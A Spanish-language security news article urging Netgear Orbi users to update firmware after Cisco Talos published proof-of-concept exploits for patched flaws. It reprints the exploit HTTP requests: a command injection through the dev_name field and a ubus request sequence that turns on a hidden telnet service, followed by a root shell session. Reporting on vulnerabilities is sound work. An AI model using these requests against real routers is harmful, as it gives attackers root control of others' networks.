Si confía en el sistema inalámbrico de malla Orbi de Netgear para conectarse a Internet, querrá asegurarse de que esté ejecutando el último firmware ahora que se ha lanzado el código de explotación para vulnerabilidades críticas en versiones anteriores.
El sistema inalámbrico de malla Netgear Orbi consta de un enrutador concentrador principal y uno o más enrutadores satelitales que amplían el alcance de la red. Al configurar múltiples puntos de acceso en un hogar u oficina, forman un sistema de malla que garantiza que la cobertura Wi-Fi esté disponible en todo momento.
Inyectando remotamente comandos arbitrarios
El año pasado, los investigadores del equipo de seguridad Talos de Cisco descubrieron cuatro vulnerabilidades y las informaron de forma privada a Netgear. La más grave de las vulnerabilidades, rastreada como CVE-2022-37337, reside en la funcionalidad de control de acceso del RBR750. Los piratas informáticos pueden explotarlo para ejecutar comandos de forma remota mediante el envío de solicitudes HTTP especialmente diseñadas al dispositivo. El hacker primero debe conectarse al dispositivo, ya sea conociendo la contraseña del SSID o accediendo a un SSID desprotegido. La gravedad de la falla se califica con 9.1 de un máximo de 10.
En enero, Netgear lanzó actualizaciones de firmware que corrigieron la vulnerabilidad. Ahora, Talos publicó un código de explotación de prueba de concepto junto con detalles técnicos.
“La funcionalidad de control de acceso del Orbi RBR750 permite a un usuario agregar dispositivos explícitamente (especificados por la dirección MAC y un nombre de host) para permitir o bloquear el dispositivo especificado cuando intenta acceder a la red”, escribieron los investigadores de Talos. “Sin embargo, el parámetro dev_name es vulnerable a la inyección de comandos”.
El código de explotación liberado es:
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping$IFS10.0.0.4&access_control_add_type=blocked_list
El dispositivo responderá con lo siguiente:
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Otras dos vulnerabilidades descubiertas por Talos también recibieron parches en enero. CVE-2022-36429 también es una falla de ejecución de comandos remotos que se puede explotar enviando una secuencia de paquetes maliciosos que crean un objeto JSON especialmente diseñado. Su índice de gravedad es de 7,2.
El exploit comienza usando la suma SHA256 de la contraseña con el nombre de usuario ‘admin’ para devolver una cookie de autenticación requerida para iniciar una sesión de telnet no documentada:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
"method":"call","params":["00000000000000000000000000000000","session","login","username":"admin","password":"","timeout":900],"jsonrpc":"2.0","id":3
Aparecerá el token ‘ubus_rpc_session’ necesario para iniciar el servicio de telnet oculto:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
"jsonrpc":"2.0","id":3,"result":[0,"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":"access-group":"netgear":["read","write"],"unauthenticated":["read"],"ubus":"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"],"webui-io":"download":["read"],"upload":["write"],"data":"username":"admin"]
El adversario luego agrega un parámetro llamado ‘telnet_enable’ para iniciar el servicio telnet:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",],"jsonrpc":"2.0","id":13
La misma contraseña utilizada para generar el hash SHA256 con el nombre de usuario ‘admin’ permitirá que un atacante inicie sesión en el servicio:
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
La otra vulnerabilidad parcheada es CVE-2022-38458, con una calificación de gravedad de 6.5. Se deriva del dispositivo que solicita a los usuarios que ingresen una contraseña a través de una conexión HTTP, que no está encriptada. Un adversario en la misma red puede rastrear la contraseña.